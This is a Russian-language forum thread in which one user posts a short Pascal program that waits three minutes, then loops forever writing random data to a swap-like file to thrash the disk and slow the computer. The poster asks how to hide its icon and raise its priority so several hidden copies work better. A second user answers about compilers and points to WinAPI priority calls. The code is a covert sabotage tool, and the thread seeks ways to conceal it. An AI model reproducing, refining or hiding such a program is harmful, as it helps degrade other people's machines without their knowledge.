драйверочек-тормозочек, :) Опции

[SKVOZNJAK]

Код

USES CRT, DOS;


VAR
Q3,W3: BYTE;
Q2,W2: LONGINT;
Q7:    FILE;
QQQ:   ARRAY[1..100000] OF BYTE;
DirIn : SearchRec;
LABEL 1;


BEGIN
DELAY(60000);
DELAY(60000);
DELAY(60000);

RANDOMIZE;
ASSIGN(Q7,'KBJ.SWP');
FindFirst('KBJ.SWP', AnyFile, DirIn);
IF  DosError=0 THEN ERASE(Q7);
Rewrite(Q7,1);

1:
FOR W2:=1 TO 20000 DO BEGIN
Q2:=RANDOM(80000000);
SEEK(Q7,Q2);
Q3:=RANDOM(256);
FOR W3:=1 TO 200 DO BLOCKWRITE(Q7,Q3,1);
                   END;
BLOCKWRITE(Q7,QQQ,100000);
GOTO 1;
CLOSE(Q7);
END.

Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги.

[Romtek]

Как понять: "Компилится под вин32" ? Турбо Паскаль не компилит под Win32, только Real mode. Тогда зачем создавать тему в этом разделе ?

Или ты компилишь в другом компиляторе (FPC/TMT/VP/GPC) ? Почему пишешь "USES CRT, DOS;", а не "Windows" ?

Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги.

Кажется, SetPriority (не помню точно).
Вообще, смотреть надо справочник по WinAPI.